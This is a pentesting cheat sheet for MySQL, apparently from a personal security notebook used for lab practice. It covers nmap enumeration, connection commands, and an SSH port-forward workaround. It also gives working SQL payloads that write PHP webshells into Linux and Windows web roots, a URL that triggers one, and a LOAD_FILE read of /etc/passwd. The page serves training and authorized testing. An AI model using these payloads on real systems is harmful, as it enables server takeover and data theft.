> For the complete documentation index, see [llms.txt](https://book.ice-wzl.xyz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://book.ice-wzl.xyz/recon-enumeration/pentesting-mysql.md).

# Pentesting MySQL

## Overview

* Default port: TCP 3306
* Config file: `/etc/mysql/mysql.conf.d/mysqld.cnf`

## Installation

```
sudo apt install mysql-server -y
```

## View Config

```
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | sed -r '/^\s*$/d'
```

## Dangerous Settings

| Setting            | Description                                |
| ------------------ | ------------------------------------------ |
| user               | MySQL service user (plain text in config)  |
| password           | MySQL user password (plain text in config) |
| admin\_address     | Admin listen IP                            |
| debug              | Debugging output settings                  |
| sql\_warnings      | Warnings on single-row INSERT              |
| secure\_file\_priv | Import/export path restrictions            |

## Scanning

```
sudo nmap 10.129.14.128 -sV -sC -p3306 --script mysql*
```

NSE scripts: mysql-brute, mysql-databases, mysql-dump-hashes, mysql-empty-password, mysql-enum, mysql-info, mysql-users, mysql-variables, mysql-vuln-cve2012-2122

## Connecting

```
mysql -u root -h 10.129.14.132
mysql -u root -pP4SSw0rd -h 10.129.14.128
```

Note: no space between -p and the password.

If remote MySQL returns an error such as `Host 'ATTACKER_IP' is not allowed to connect`, the credentials may still work locally on the target. Try from a shell on the host or through an SSH local forward:

```bash
mysql -u USER -h 127.0.0.1 -p
ssh USER@TARGET -L 3306:127.0.0.1:3306
mysql -u USER -h 127.0.0.1 -p
```

## MySQL Commands

| Command                                                | Description     |
| ------------------------------------------------------ | --------------- |
| show databases;                                        | List databases  |
| use \<database>;                                       | Select database |
| show tables;                                           | List tables     |
| show columns from \<table>;                            | List columns    |
| select \* from \<table>;                               | Dump table      |
| select \* from \<table> where \<column> = "\<string>"; | Filter rows     |
| select version();                                      | Server version  |

## Important System Databases

* `system schema` (sys) — tables, info, metadata for management
* `information_schema` — database metadata

***

## File Operations

### Write Webshell (requires FILE privilege)

```sql
SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE '/var/www/html/webshell.php';
```

Check `secure_file_priv` — if empty, file operations are unrestricted; if set to a directory, writes are limited to that path; if NULL, file operations are disabled:

```sql
show variables like "secure_file_priv";
```

On Windows WAMP, the webroot may be `C:\wamp\www`:

```sql
SHOW VARIABLES LIKE 'basedir';
SHOW VARIABLES LIKE 'datadir';
SHOW VARIABLES LIKE 'secure_file_priv';

SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE "C:\\wamp\\www\\shell.php";
```

Trigger with:

```
http://TARGET:8080/shell.php?cmd=dir
```

### Read Local Files

```sql
select LOAD_FILE("/etc/passwd");
```

***

## Windows MySQL Client

```
C:\htb> mysql.exe -u username -pPassword123 -h 10.129.20.13
```

***

## Known Vulnerabilities

| CVE           | Description                                                                                                                 |
| ------------- | --------------------------------------------------------------------------------------------------------------------------- |
| CVE-2012-2122 | MySQL 5.6.x authentication bypass via timing attack — approximately 1 in 256 connection attempts succeeds with any password |


---

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